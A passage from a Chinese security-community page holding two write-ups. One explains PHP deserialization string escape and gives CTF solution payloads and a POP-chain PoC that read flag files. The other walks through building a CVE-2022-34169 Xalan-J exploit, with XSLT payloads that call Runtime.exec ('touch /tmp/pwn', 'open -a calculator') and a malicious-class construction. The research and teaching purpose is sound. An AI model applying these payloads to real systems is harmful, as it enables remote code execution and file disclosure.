$vv = filter($vv);
var_dump($vv);
echo "\r\n";
var_dump(unserialize($vv));
?>
可见password值已经可控，变为test2。
总结：
先看过滤函数，找出字符变多还是字符变少，并且计算变化个数
第一步先构造想要的值正常序列化，拿到最终的逃逸字符
第二步逃逸字符前任意字符+双引号闭合，传入要控制的值
第三步序列化看下需要逃逸的部分长度，传入对应的过滤字符
通过以上分析不难发现字符串逃逸的重点就在于过滤函数的错误使用被我们恶意利用，下面通过几道题目加深理解。
#### 实例一
From 2019安洵杯-easy_serialize_php
题目直接给了源码：
<?php
$function = @$_GET['f'];
function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}
if($_SESSION){
unset($_SESSION);
}
$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;
extract($_POST);
if(!$function){
echo '<a href="index.php?f=highlight_file">source_code</a>';
}
if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}
$serialize_info = filter(serialize($_SESSION));
if($function == 'highlight_file'){
highlight_file('index.php');
}else if($function == 'phpinfo'){
eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
}
看到`$serialize_info = filter(serialize($_SESSION));` 果断想到反序列化字符串逃逸，先看一下过滤函数：
function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}
会将字符替换为空，典型的字符变少的例子。梳理下题目思路：利用点在`file_get_contents(base64_decode($userinfo['img']));`
但是我们跟踪`$userinfo['img']`可以发现并不是我们可控的，因为`$_SESSION['img']`
赋值是在最后变得，我们可利用变量覆盖，但是不能给`$_SESSION['img']`直接赋值，这时候就需要用到字符串逃逸。
已知我们要读的文件为：`d0g3_f1ag.php` base64加密：`ZDBnM19mMWFnLnBocA==`
正常进行序列化的过程：
我们的逃逸字符就是`;s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}`
任意字符 + ";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
其中`user`和`function` 是我们可以通过变量覆盖控制的：
以上是初步构造结果，发现标红处字符串长度不对，继续构造即可：
结合序列化格式发现标红部分需要构造为4的倍数：
";s:8:"function";s:41:" //此时为23
因此只需要让"前的任意字符为1位即可
这样一共24位，就需要6个flag
最终构造如下：
序列化后得到：
a:3:{s:4:"user";s:24:"";s:8:"function";s:42:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
因此需要在img后构造一部分：
a:3:{s:4:"user";s:24:"";s:8:"function";s:42:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:1:"a";s:1:"b";}
最终：
get:f=show_image
post:_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:1:"a";s:1:"b";}
base64编码后发现长度一样，直接修改即可：
#### 实例二
From 2021医疗行业CTF-medical
题目直接给了源码，是一个小型MVC结构
利用点在`Service`：
会对post数据进行序列化，然后反序列化，并且反序列化之前存在一个替换操作
然后会进入 `View`：
存在echo字符串的操作，由此可触发`__toString`：全局搜索
会调用不存在的属性的值，会触发`__get` ：全局搜索
利用链：
user_view -> echo -> Request.__toString -> Index.__get -> file_get_contents(/flag)
poc：
<?php
class Index{
}
class Request{
public $hhhhh;
}
$tmp = new Index();
$poc = new Request();
$poc->hhhhh=$tmp;
echo serialize($poc);
O:7:"Request":1:{s:5:"hhhhh";O:5:"Index":0:{}}
然后就是找反序列化的点，关键点：
过程是先进行一次反序列化，通过`santi` 函数验证post数据不能存在单引号，然后替换为大写S ，然后再反序列化。
表示字符类型的s大写时，会被当成16进制解析
意思就是当s变为S 时，原来\00有三位，变为一位，导致字符变少
本地搭建搭建环境输出，方便构造：
可以看到我们要想成功反序列化，需要字符串逃逸，需要继续构造Location：
前边需要加 `;s:8:"Location";` 后表加`}` 闭合大括号
Location=;s:8:"Location";O:7:"Request":1:{s:5:"hhhhh";O:5:"Index":0:{}}}
需要把如图的字符去掉，这时候就用到了 S 16进制解析进行字符串逃逸，要去掉的部分为：
";s:8:"Location";s:63: //22位
因为1个\00 减少2位，所以需要11个\00
a=\00\00\00\00\00\00\00\00\00\00\00&Location=;s:8:"Location";O:7:"Request":1:{s:5:"hhhhh";O:5:"Index":0:{}}} | 社区文章 |
**作者：thanat0s@360高级攻防实验室
原文链接：<http://noahblog.360.cn/xalan-j-integer-truncation-reproduce-cve-2022-34169/>**
## 0x00 前言
这是第一次遇到与 Java Class
字节码相关的漏洞([CVE-2022-34169](https://bugs.chromium.org/p/project-zero/issues/detail?id=2290&continueFlag=5f0a104405cabc4e1e6027013da73bfc))，由于漏洞作者提供的利用脚本未能执行成功，所以根据漏洞描述结合自己的理解尝试进行利用构造，在深入分析并成功构造出
Payload 的过程中，也是加深了对 Java
字节码的了解，虽然漏洞作者在利用脚本中提供了一些注释信息，但对于完整理解整个利用的构造过程是不够的，因此这里对 Payload 构造过程进行一个详细的记录。
## 0x01 漏洞概述
> [XSLT(Extensible Stylesheet Language
> Transformations)](https://zh.wikipedia.org/zh-sg/XSLT) 是一种可以将 XML
> 文档转换为其他格式(如 HTML)的标记语言
>
> [Xalan-J](https://xml.apache.org/xalan-j/) 是 Apache 开源项目下的一个 XSLT 处理器的 Java
> 版本实现
首先看到漏洞作者提供的漏洞描述：
> Xalan-J uses a JIT compiler called XSLTC for translating XSLT stylesheets
> into Java classes during runtime. XSLTC depends on the Apache Byte Code
> Engineering (BCEL) library to dynamically create Java class files
>
> As part of the compilation process, constants in the XSLT input such as
> Strings or Numbers get translated into Java constants which are stored at
> the beginning of the output class file in a structure called the constant
> pool
>
> Small integers that fit into a byte or short are stored inline in bytecode
> using the bipush or sipush instructions. Larger ones are added to the
> constant pool using the cp.addInteger method
// org.apache.bcel.generic.PUSH#PUSH(org.apache.bcel.generic.ConstantPoolGen, int)
public PUSH(final ConstantPoolGen cp, final int value) {
if ((value >= -1) && (value <= 5)) {
instruction = InstructionConst.getInstruction(Const.ICONST_0 + value);
} else if (Instruction.isValidByte(value)) {
instruction = new BIPUSH((byte) value);
} else if (Instruction.isValidShort(value)) {
instruction = new SIPUSH((short) value);
} else {
instruction = new LDC(cp.addInteger(value));
}
}
> As java class files only use 2 bytes to specify the size of the constant
> pool, its max size is limited to 2**16 - 1 entries
>
> BCELs internal constant pool representation uses a standard Java Array for
> storing constants and does not enforce any limits on its length. When the
> generated class file is serialized at the end of the compilation process the
> array length is truncated to a short, but the complete array is written out：
// org.apache.bcel.classfile.ConstantPool#dump
public void dump( final DataOutputStream file ) throws IOException {
file.writeShort(constant_pool.length); // 对 constant_pool.length 进行了 short 截断
for (int i = 1; i < constant_pool.length; i++) { // 依旧写入了 constant_pool.length 个数的常量
if (constant_pool[i] != null) {
constant_pool[i].dump(file);
}
}
}
根据提供的描述信息可以知道，Xalan-Java 即时编译器(JIT) 会将传入的 XSLT 样式表使用 BCEL 动态生成 Java Class
字节码文件(Class 文件结构如下)，XSLT 样式表中的 `字符串(String)` 以及 `> 32767` 的数值将存入到字节码的
`常量池表(constant_pool)` 中，漏洞产生的原因在于 Class
字节码规范中限制了常量池计数器大小(`constant_pool_count`) 为 `u2 类型(2个无符号字节大小)`，所以 BCEL 在写入 `>
0xffff` 数量的常量时需要进行截断处理，但是通过上面 `dump()` 方法中的代码可以看到，BCEL 虽然对
`constant_pool_count` 数值进行了处理，但实际依旧写入了 `> 0xffff` 数量的常量，因此大于
`constant_pool_count` 部分的常量最终将覆盖 `access_flags` 及后续部分的内容
ClassFile {
u4 magic; // 魔术，识别 Class 格式
u2 minor_version; // 副版本号(小版本)
u2 major_version; // 主版本号(大版本)
u2 constant_pool_count; // 常量池计数器：用于记录常量池大小
cp_info constant_pool[constant_pool_count-1]; // 常量池表：0 位保留，从 1 开始写，所以实际常量数比 constant_pool_count 小 1
u2 access_flags; // 类访问标识
u2 this_class; // 类索引
u2 super_class; // 父类索引
u2 interfaces_count; // 接口计数器
u2 interfaces[interfaces_count]; // 接口索引集合
u2 fields_count; // 字段表计数器
field_info fields[fields_count]; // 字段表
u2 methods_count; // 方法表计数器
method_info methods[methods_count]; // 方法表
u2 attributes_count; // 属性计数器
attribute_info attributes[attributes_count]; // 属性表
}
## 0x02 环境搭建
* JDK测试版本: 1.8.0_301、11.0.9
根据作者的描述，使用的是 `Xalan-J 2.7.2` 版本，并通过如下命令生成 `.class` 文件
// https://xml.apache.org/xalan-j/commandline.html
java -jar /usr/share/java/xalan2.jar -XSLTC -IN test.xml -XSL count.xsl -SECURE -XX -XT
-XSLTC (use XSLTC for transformation)
-IN inputXMLURL
-XSL XSLTransformationURL
-SECURE (set the secure processing feature to true)
-XX (turn on additional debugging message output)
-XT (use translet to transform if possible)
为了方便调试，替换为相应的 Java 代码，新建 Maven 项目，添加如下依赖及代码：
* pom.xml
<!-- https://mvnrepository.com/artifact/xalan/xalan -->
<dependency>
<groupId>xalan</groupId>
<artifactId>xalan</artifactId>
<version>2.7.2</version>
</dependency>
* org/example/TestMain.java
package org.example;
import org.apache.xalan.xslt.Process;
public class TestMain {
public static void main(String[] args) throws Exception {
String xsltTemplate = "/tmp/xalan_test/select.xslt";
Process.main(new String[]{"-XSLTC", "-IN", "/tmp/xalan_test/source.xml", "-XSL", xsltTemplate, "-SECURE", "-XX", "-XT"});
}
}
* /tmp/xalan_test/source.xml
<?xml version="1.0"?>
<doc>Hello</doc>
* /tmp/xalan_test/select.xslt
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template>
</xsl:template>
</xsl:stylesheet>
运行 `TestMain` 后即可生成 `select.class` 文件，反编译后得到如下 Java 代码：
import org.apache.xalan.xsltc.DOM;
import org.apache.xalan.xsltc.TransletException;
import org.apache.xalan.xsltc.runtime.AbstractTranslet;
import org.apache.xml.dtm.DTMAxisIterator;
import org.apache.xml.serializer.SerializationHandler;
public class select extends AbstractTranslet {
public DOM _dom;
protected static String[] _sNamesArray = new String[0];
protected static String[] _sUrisArray = new String[0];
protected static int[] _sTypesArray = new int[0];
protected static String[] _sNamespaceArray = new String[0];
public void buildKeys(DOM var1, DTMAxisIterator var2, SerializationHandler var3, int var4) throws TransletException {
}
public void topLevel(DOM var1, DTMAxisIterator var2, SerializationHandler var3) throws TransletException {
int var4 = var1.getIterator().next();
}
public void transform(DOM var1, DTMAxisIterator var2, SerializationHandler var3) throws TransletException {
this._dom = this.makeDOMAdapter(var1);
int var4 = var1.getIterator().next();
this.transferOutputSettings(var3);
this.topLevel(this._dom, var2, var3);
var3.startDocument();
this.applyTemplates(this._dom, var2, var3);
var3.endDocument();
}
public void template$dot$0(DOM var1, DTMAxisIterator var2, SerializationHandler var3, int var4) {
}
public final void applyTemplates(DOM var1, DTMAxisIterator var2, SerializationHandler var3) throws TransletException {
int var4;
while((var4 = var2.next()) >= 0) {
switch(var1.getExpandedTypeID(var4)) {
case 0:
case 1:
case 9:
this.applyTemplates(var1, var1.getChildren(var4), var3);
break;
case 2:
case 3:
var1.characters(var4, var3);
case 4:
case 5:
case 6:
case 7:
case 8:
case 10:
case 11:
case 12:
case 13:
}
}
}
public select() {
super.namesArray = _sNamesArray;
super.urisArray = _sUrisArray;
super.typesArray = _sTypesArray;
super.namespaceArray = _sNamespaceArray;
super.transletVersion = 101;
}
}
## 0x03 XSLT 安全
XSLT 因为其功能的强大导致历史中出过一些漏洞，如下两种 Payload 在被 Java XSLT 处理器解析时就会存在代码执行的问题：
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime" xmlns:ob="http://xml.apache.org/xalan/java/java.lang.Object">
<xsl:template match="/">
<xsl:variable name="rtobject" select="rt:getRuntime()"/>
<xsl:variable name="process" select="rt:exec($rtobject,'touch /tmp/pwn')"/>
<xsl:variable name="processString" select="ob:toString($process)"/>
<xsl:value-of select="$processString"/>
</xsl:template>
</xsl:stylesheet>
<xsl:stylesheet version="2.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:java="http://saxon.sf.net/java-type">
<xsl:template match="/">
<xsl:value-of select="Runtime:exec(Runtime:getRuntime(),'touch /tmp/pwn')" xmlns:Runtime="java.lang.Runtime"/>
</xsl:template>
</xsl:stylesheet>
所以首先尝试使用上述 Payload
进行测试，发现相关的操作已经被限制了，这其中可能会存在一些绕过方式，但并不是本次所需要关心的，这次主要在意的是作者如何通过常量池覆盖后续字节码结构，实现的
RCE 操作
## 0x04 控制常量池计数器
> 常量池：用于存放编译时期生成的各种 `字面量` 和 `符号引用`，这部分内容将在类加载后进入方法区/元空间的 `运行时常量池` 中存放
>
> 常量池计数器：从 `1` 开始，也即 `constant_pool_count=1` 时表示常量池中有 `0` 个常量项，第 `0` 项常量用于表达
> `不引用任何一个常量池项目` 的情况，常量池对于 Class 文件中的 `字段` 和 `方法` 等解析至关重要
可以使用 Java 自带的工具 `javap` 查看字节码文件中的常量池内容：`javap -v select.class`
也可以使用 [Classpy](https://github.com/zxh0/classpy) GUI
工具进行查看，该工具在点击左侧相应字段信息时会在右侧定位出相应的十六进制范围，在构造利用时提供了很大的帮助
但是这两个工具无法对首部结构正确的畸形字节码文件进行解析(只输出正确结构的部分)，并且未找到合适的解析工具
常量池表中具体存储的数据结构如下，根据 `tag` 标识来决定后续字节码所表达的含义：
尝试在 `select.xslt` 文件中添加 `` 并生成 Class 文件：
<xsl:stylesheet version="2.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template>
<AAA/>
</xsl:template>
</xsl:stylesheet>
通过反编译后的 Java 代码中可以看到新增了 `AAA` 字符串
public class select extends AbstractTranslet {
...
public void template$dot$0(DOM var1, DTMAxisIterator var2, SerializationHandler var3, int var4) {
var3.startElement("AAA");
var3.endElement("AAA");
}
...
}
对应到常量池中实际将增加 `CONSTANT_String_info` 和 `CONSTANT_utf8_info` 两项，其中
`#092(CONSTANT_utf8_info)` 中存储着字面量 `AAA`，`#093(CONSTANT_String_info)` 的
`string_index` 则指向 `AAA` 字面量所处的下标
为了节省空间，对于相同的常量在常量池中只会存储一份，所以如下内容所生成的 Class 文件中的常量池计数器值依旧为 `139`
<xsl:stylesheet version="2.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template>
<AAA/>
<AAA/>
<AAA/>
<AAA/>
<AAA/>
</xsl:template>
</xsl:stylesheet>
需要注意的是 `AA` 和 `AAA` 实际属于不同的常量，将得到的常量池计数器值为：`139+2=141`，因此：
**使用不同的字符串可以`字符串数量x2` 的形式增加常量池计数器的值**
<xsl:stylesheet version="2.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template>
<AAA/>
<AA/>
</xsl:template>
</xsl:stylesheet>
然而在实际测试的过程中发现，通过如下方式增加常量，随着 `n` 不断的增加，所花费的时间也越来越大
<xsl:stylesheet version="2.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template>
<t1/>
<t2/>
...
<tn/>
</xsl:template>
</xsl:stylesheet>
解决方法是使用 `增加属性` 替代 `增加元素` 的方式增加常量池( **每增加一对属性，常量池+4** )
<xsl:stylesheet version="2.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template>
<t1 t2='t3' t4='t5' ... tn-1='tn'/>
</xsl:template>
</xsl:stylesheet>
原因在于每新增一个 `元素(element)` 都将有 `translate()` 方法调用的开销，而新增 `属性` 只是增加一个
`Hashtable#put()` 方法调用，因此将大大减少执行时间
* org.apache.xalan.xsltc.compiler.SyntaxTreeNode#translateContents
* org.apache.xalan.xsltc.compiler.LiteralElement#checkAttributesUnique
除了可以通过字符串的形式增加常量池，根据漏洞作者的提示可以通过 `方法调用` 的形式添加 `数值类型` 的常量(数值需要 `> 32767`
才会存储至常量池表中)，如通过调用 `java.lang.Math#ceil(double)` 方法传入 `double` 数值类型，因为 `double`
属于基本数据类型，因此只会增加一个 `CONSTANT_Integer_info` 数据结构，所以 **每增加一个 double 数值，常量池+1**
<xsl:stylesheet version="2.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template>
<xsl:value-of select='ceiling(133801)'/>
<xsl:value-of select='ceiling(133802)'/>
<xsl:value-of select='ceiling(133803)'/>
</xsl:template>
</xsl:stylesheet>
## 0x05 Class 结构图
这里先展示一下整个 Class 文件最终构造的结构图，接下来将针对各个部分进行说明
## 0x06 利用构造说明
想详细了解 Java Class 字节码文件结构的可以参考链接：[The Class File
Format](https://docs.oracle.com/javase/specs/jvms/se7/html/jvms-4.html#jvms-4.4)
通过字节码结构可以看到，`constant_pool_count & 0xffff` 截断后，大于 `constant_pool_count`
部分的常量池将覆盖后续内容，从而可以完全控制整个类的结构
ClassFile {
u4 magic; // 魔术，识别 Class 格式
u2 minor_version; // 副版本号(小版本)
u2 major_version; // 主版本号(大版本)
u2 constant_pool_count; // 常量池计数器：用于记录常量池大小
cp_info constant_pool[constant_pool_count-1]; // 常量池表：0 位保留，从 1 开始写，所以实际常量数比 constant_pool_count 小 1
u2 access_flags; // 类访问标识
u2 this_class; // 类索引
u2 super_class; // 父类索引
u2 interfaces_count; // 接口计数器
u2 interfaces[interfaces_count]; // 接口索引集合
u2 fields_count; // 字段表计数器
field_info fields[fields_count]; // 字段表
u2 methods_count; // 方法表计数器
method_info methods[methods_count]; // 方法表
u2 attributes_count; // 属性计数器
attribute_info attributes[attributes_count]; // 属性表
}
cp_info {
u1 tag;
u1 info[];
}
### access_flags & this_class
首先需要能够理解的是 **access_flags 第一个字节对应常量池的 tag** ，而 `tag` 值将决定后续的数据结构(查阅前面常量池结构表)
`access_flags` 的值决定了类的访问标识，如是否为 `public` ，是否为 `抽象类` 等等，如下为各个标识对应的 `mask` 值，当
`与操作值 != 0` 时则会增加相应的修饰符
在决定 `access_flag` 第一个字节的值(后续使用x1,x2..代替)之前，需要知道编译后的字节码会被进行怎样的处理，可以看到最终将得到
`TemplatesImpl` 对象，其中 `_bytecodes` 即为 XSLT 样式表编译后的字节码内容，熟悉 Java 反序列化漏洞的应该对
`TemplatesImpl` 类不陌生，之后 `newTransformer()` 方法调用将会触发 `defineClass()` 及
`newInstance()` 方法的调用
* org.apache.xalan.xslt.Process#main
由于 `defineClass()` 过程无法触发类 `static{}` 方法块中的代码，所以需要借助 `newInstance()` 调用的过程来触发
`static{}`、`{}`、`构造函数` 方法块中的恶意代码，因此 **由于需要实例化类对象，所以类不能为接口、抽象类，并且需要被 public
修饰** ，所以 `access_flags` 需满足如下条件：
* access_flags.x1 & 任意修饰符 == 0
* access_flags.x2 & ACC_PUBLIC(0x01) != 0
这里选择设置 `access_flags.x1 = 0x08`，不选择 `access_flags.x1 = 0x01` 的原因在于字面量 `length`
变化会影响到 `bytes` 的数量，所以一旦发生变动，后续内容就会需要跟着变动，不太好控制
而 `access_flags.x2` 的值这里将其设置为 `0x07`，而不使用 `0x01`
的原因在于，其值的设定会影响到常量池的大小，根据后续构造发现常量池大小需要满足 `> 0x0600(1536)` 大小，这部分后续也会再进行说明
通过写入 `tag = 6` 的 `double` 数值常量(`java.lang.Math#ceil(double)`)，可以实现连续控制 8
个字节内容，所以 `this_class.x2 = 0x06`，根据前面可知，`this_class` 是一个指向常量池的 `常量池索引`，所以为了使得
`截断后的常量池最小`，所以这个值需要尽可能的小，由于 `0x0006` 已经占用了，所以最终确定值为 `this_class = 0x0106(262)`
在确认了 `access_flags` 的值后，接下来考虑的是如何进行设置，回看到如下这个图，`String` 类型的 `string_index`
指向前一项 `Utf8` 字面量的下标，因此 `tag = 8` `string_index = 0x0701` 则表示前一项是下标为 `0x0701 =
#1793` 的 `Utf8` 字面量，当前下标为 `#1794`，所以得出结论是 `access_flags` 之前应有 `1794(包含第 0 项)`
个常量，则 `constant_pool_count` 截断后的值固定为 `1794(0x0702)`，`access_flags.x2`
间接控制了常量池的大小
根据字节码规范要求，`this_class` 应指向一个 `CONSTANT_Class_info` 结构的常量，也即如下图中 `Class` 对应的下标
`#0006`
> The value of the this_class item must be a valid index into the
> constant_pool table. The constant_pool entry at that index must be a
> CONSTANT_Class_info structure (§4.4.1) representing the class or interface
> defined by this class file.
但是这里并不能选择常量池已有的这些 `Class常量`，原因在于这些 `Class常量` 是 XSLT 解析的过程中会使用到的类，而字节码最终会被
`defineClass()` 加载为 Class，将会导致类冲突问题
解决方法是通过如下方法调用的方式加载一些 XSLT 解析过程不会引用的类，因为类是懒加载的，只有在被使用到的时候才会被加载进 JVM，所以
`defineClass()` 调用时并不会存在
`com.sun.org.apache.xalan.internal.lib.ExsltStrings`，从而解决了类冲突的问题，之后通过在其之前填充一些常量，使得
`this_class = 0x0106(#262)` 刚好指向 `(Class):
com/sun/org/apache/xalan/internal/lib/ExsltStrings` 即可
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template>
<!-- 填充: <t t1='t2'...> -->
<xsl:value-of select="es:tokenize(.)" xmlns:es="com.sun.org.apache.xalan.internal.lib.ExsltStrings"/>
</xsl:template>
</xsl:stylesheet>
### super_class
`super_class` 同样也需要指向 `CONSTANT_Class_info` 类型索引，并且因为 `TemplatesImpl`
的原因依旧需要继承 `org.apache.xalan.xsltc.runtime.AbstractTranslet` 抽象类，所以直接指向 `#0006`
即可(位置固定不变)
> For a class, the value of the super_class item either must be zero or must
> be a valid index into the constant_pool table. If the value of the
> super_class item is nonzero, the constant_pool entry at that index must be a
> CONSTANT_Class_info structure (§4.4.1) representing the direct superclass of
> the class defined by this class file.
因为主要目的是控制方法，并通过 `newInstance()` 触发恶意代码，所以对于 `接口` 和 `字段` 都可以不需要，直接设置为 `0` 即可：
* interfaces_count = 0x0000
* fields_count = 0x0000
### method_count
经测试发现 `static{}` 方法块(`<clinit>`)执行必须要有合法的构造函数 `<init>` 存在，所以直接通过 `<init>`
触发恶意代码即可，除此之外还需要借助一个方法的 `attribute` 部分进行一些脏字符的吞噬(后续解释)，所以类中至少需要 2
个方法，经测试发现：在字节码层面，非抽象类可以不实现抽象父类的抽象方法，所以可以不实现抽象父类 `AbstractTranslet` 的
`transform` 方法，设置 `method_count = 0x0002` 即可
### methods[0]
首先看到 method_info 结构：
method_info {
u2 access_flags; # 方法的访问标志
u2 name_index; # 方法名索引
u2 descriptor_index; # 方法的描述符索引
u2 attributes_count; # 方法的属性计数器
attribute_info attributes[attributes_count]; # 方法的属性集合
}
根据前面的构造可以看到 `methods[0].access_flags.x1 = 0x06`，根据访问标识表可知当前方法为 `抽象(0x06 & 0x04
!= 0)` 方法，无法包含方法体，所以这也是至少需要存在两个方法的原因，但同时也发现一个问题： **在字节码层面，抽象方法是可以存在于非抽象类中的**
* `methods[0].access_flags.x2 = 0x01`：因为该方法不会被使用，所以直接给个 ACC_PUBLIC 属性即可
* `methods[0].name_index(Utf8)`：选择指向了父类抽象方法名 `transferOutputSettings`，实际指向任何合法 `Utf8` 常量均可
* `methods[0].descriptor_index(Utf8)`：选择指向了 `transferOutputSettings` 方法描述符，实际指向任何合法 `Utf8` 方法描述符均可
`methods[0].attributes_count` 表示当前方法体中 `attribute` 的数量，每个 `attribute`
都有着如下通用格式，根据 `attribute_name_index` 来决定使用的是哪种属性格式(如下表)
attribute_info {
u2 attribute_name_index; # 属性名索引
u4 attribute_length; # 属性个数
u1 info[attribute_length]; # 属性集合
}
这里主要关注 `Code` 属性，其中存储着方法块中的字节码指令
Code_attribute {
u2 attribute_name_index; # 属性名索引
u4 attribute_length; # 属性长度
u2 max_stack; # 操作数栈深度的最大值
u2 max_locals; # 局部变量表所需的存储空间
u4 code_length; # 字节码指令的长度
u1 code[code_length]; # 存储字节码指令
u2 exception_table_length; # 异常表长度
{ u2 start_pc;
u2 end_pc;
u2 handler_pc;
u2 catch_type;
} exception_table[exception_table_length]; # 异常表
u2 attributes_count; # 属性集合计数器
attribute_info attributes[attributes_count]; # 属性集合
}
以如下代码为例查看相应的 Code 属性结构
package org.example;
public class TestMain {
public TestMain(){
try{
System.out.println("test");
}catch (Exception e){
}
}
}
可以看到构造函数 `<init>` 中 `attributes_count = 1` 说明只包含一个属性，`attribute_nam_index`
指向常量池 `#10(Utf8) Code`，表示当前为 `Code` 属性，`code_length` 表示字节码指令长度为 `17`，`code`
部分则存储了具体的字节码指令
这里需要注意的是： **如果 attribute_name_index 没有指向合法的属性名，将使用通用格式来进行数据解析** ，因此可以利用这个特性来吞噬
`下一个 double 常量的 tag 标识`，因此这里设定
* `methods[0].attributes_count = 0x0001`：只需一个属性即可完成吞噬目的
* `attribute_name_index(Utf8) = 0x0206`：前面已经将 `0x0106` 设置为了 `Class` 类型，所以这里尽量指向更低位的常量池，所以选择使用 `0x0206`，同时需要注意的是 `attribute_name_index` 需指向合法的 `Utf8` 类型常量，所以还需要通过填充的方式确保指向的类型正确
* `attribute_length = 0x00000005`：属性值设定为 5 并使用 `0xAABBCCDD` 填充满一个 `double` 常量，这样可以刚好可以吞噬掉下一个 `double` 常量的 `tag` 标识，使得下一个 `method[1].access_flags` 可以直接通过 `double` 来进行控制
### methods[1]
接下来看到第二个方法 `methods[1]`，首部这 8 个字节就可直接通过一个 `double` 数值类型进行控制，这里将构造所需的构造函数方法 ``：
* `access_flags = 0x0001`：需要给与 `PUBLIC` 属性才能通过 `newInstance()` 实例化
* `name_index`：需要指向 `的 `Utf8` 常量池下标，这里通过` 代码提前添加 `` 常量，否则只有编译到构造函数方法时才会添加该常量
* `descriptor_index`：需指向 `()V` 的 `Utf8` 常量池下标
* `attributes_count = 0x0003`：这里将使用 3 个`attribute`构造出合法的方法块：
attributes[0]：用于吞噬 `double` 常量的 `tag`
attributes[1]：用于构造 `Code` 属性块
attributes[2]：用于吞噬后续垃圾字符
### methods[1].attributes[0]
可以看到 `methods[1].attributes[0].attribute_name_index.x1 = 0x06`，因为
`attribute_name_index` 是指向常量池的索引，所以需要常量池需要 `> 1536(0x0600)`，这就是前面
`access_flags.x2 >= 0x06` 的原因
使用同样的方式，通过控制 `attributes[0].attribute_length` 吞噬掉下一个 `double` 常量的 `tag`
这样就可以完全控制 `attributes[1].attribute_name_index`，使其指向 `Utf8 Code` 常量，后续数据将以
`Code_attribute` 结构进行解析
* `attribute_length` 和 `code_length` 都得在 `code[]` 部分内容确定后进行计算
* `max_stack = 0x00FF`：操作数栈深度的最大值，数值计算，方法调用等都需要涉及，稍微设置大一些即可
* `max_locals = 0x0600`：局部变量表所需的存储空间，主要用于存放方法中的局部变量，因为不会涉及使用大量的局部变量，所以`0x0600` 完全够用了
* `exception_table_length = 0x0000`：异常表长度，经测试发现， **在字节码层面，java.lang.Runtime.exec() 方法调用实际可以不进行异常捕获** ，所以这里也将其设置为 0
* `attributes_count = 0x0000`：`Code` 属性中的内部属性，用于存储如 `LineNumberTable` 信息，因为不涉及所以将其设置为 0 即可
这里提前看到 `methods[1].attributes[2].attribute_name_index` 字段，因为 `attributes[2]`
的作用也是用于吞噬后续的垃圾字符，所以可以和 `methods[0].attributes[0].attribute_name_index` 一样设置为
`0x0206`，所以 **`code` 尾部需要有 3 个字节是位于 `double` 常量首部的**
### methods[1].code
接着看到最重要的字节码指令构造部分，可以通过 [List of Java bytecode
instructions](https://en.wikipedia.org/wiki/List_of_Java_bytecode_instructions)
获取相关的 Opcode
并非需要每个字节挨个自行进行构造，可以直接编写一个恶意方法，然后提取其中 code 字节码指令部分即可，编写如下代码并获取其字节码指令：
package org.example;
import org.apache.xalan.xsltc.DOM;
import org.apache.xalan.xsltc.TransletException;
import org.apache.xalan.xsltc.runtime.AbstractTranslet;
import org.apache.xml.dtm.DTMAxisIterator;
import org.apache.xml.serializer.SerializationHandler;
public class Evil extends AbstractTranslet {
public Evil() {
try{
Runtime runtime = Runtime.getRuntime();
runtime.exec("open -a calculator");
}catch (Exception e){
}
}
@Override
public void transform(DOM dom, SerializationHandler[] serializationHandlers) throws TransletException {
}
@Override
public void transform(DOM dom, DTMAxisIterator dtmAxisIterator, SerializationHandler serializationHandler) throws TransletException {
}
}
根据上面的字节码指令即可构造出如下代码结构，其中有几点需要注意：
* 空操作可以使用 `nop(0x00)` 指令
* 对于 `tag = 6` 所对应的指令 `iconst_6` 需要配对使用 `istore_1` 指令
* 不使用 `istore_0` 的原因在于， **局部变量表 0 位置存储着`this` 变量引用**
* 使用 `ldc_w` 替换 `ldc`，可以扩大常量池加载的范围
* 因为可以不涉及异常表，所以 `goto` 指令可以去除
* 根据前面的说明，末尾的 `double` 常量需要占用首部 3 个字节
对于 `Methodref` 方法引用类型，可以使用如下方法调用的方式进行添加
<xsl:value-of select="Runtime:exec(Runtime:getRuntime(),'open -a calculator')" xmlns:Runtime="java.lang.Runtime"/>
但是这里唯一存在问题的是：如何添加 `AbstractTranslet.` 方法引用，这里需要看到
`org.apache.xalan.xsltc.compiler.Stylesheet#translate()` 方法，构造函数总是最后才进行编译，添加的
`AbstractTranslet.` 方法引用总是位于常量池末尾，所以这将导致截断后的常量池中很难包含 `MethodRef:
AbstractTranslet.` 方法引用
然而构造函数 `<init>` 中必须要调用 super() 或 this() 方法，否则会产生如下错误：
通过邮件咨询漏洞作者如何解决这个问题，漏洞作者给出了如下方案：
> JVM 会检查构造函数中 `return` 操作之前是否有调用 `super()` 方法，所以可以通过 `return`
> 前嵌入一个死循环即可解决这个问题
然而在看到邮件之前，找到了另一种解决方案，通过如下代码可提前引入 `AbstractTranslet.` 方法引用：
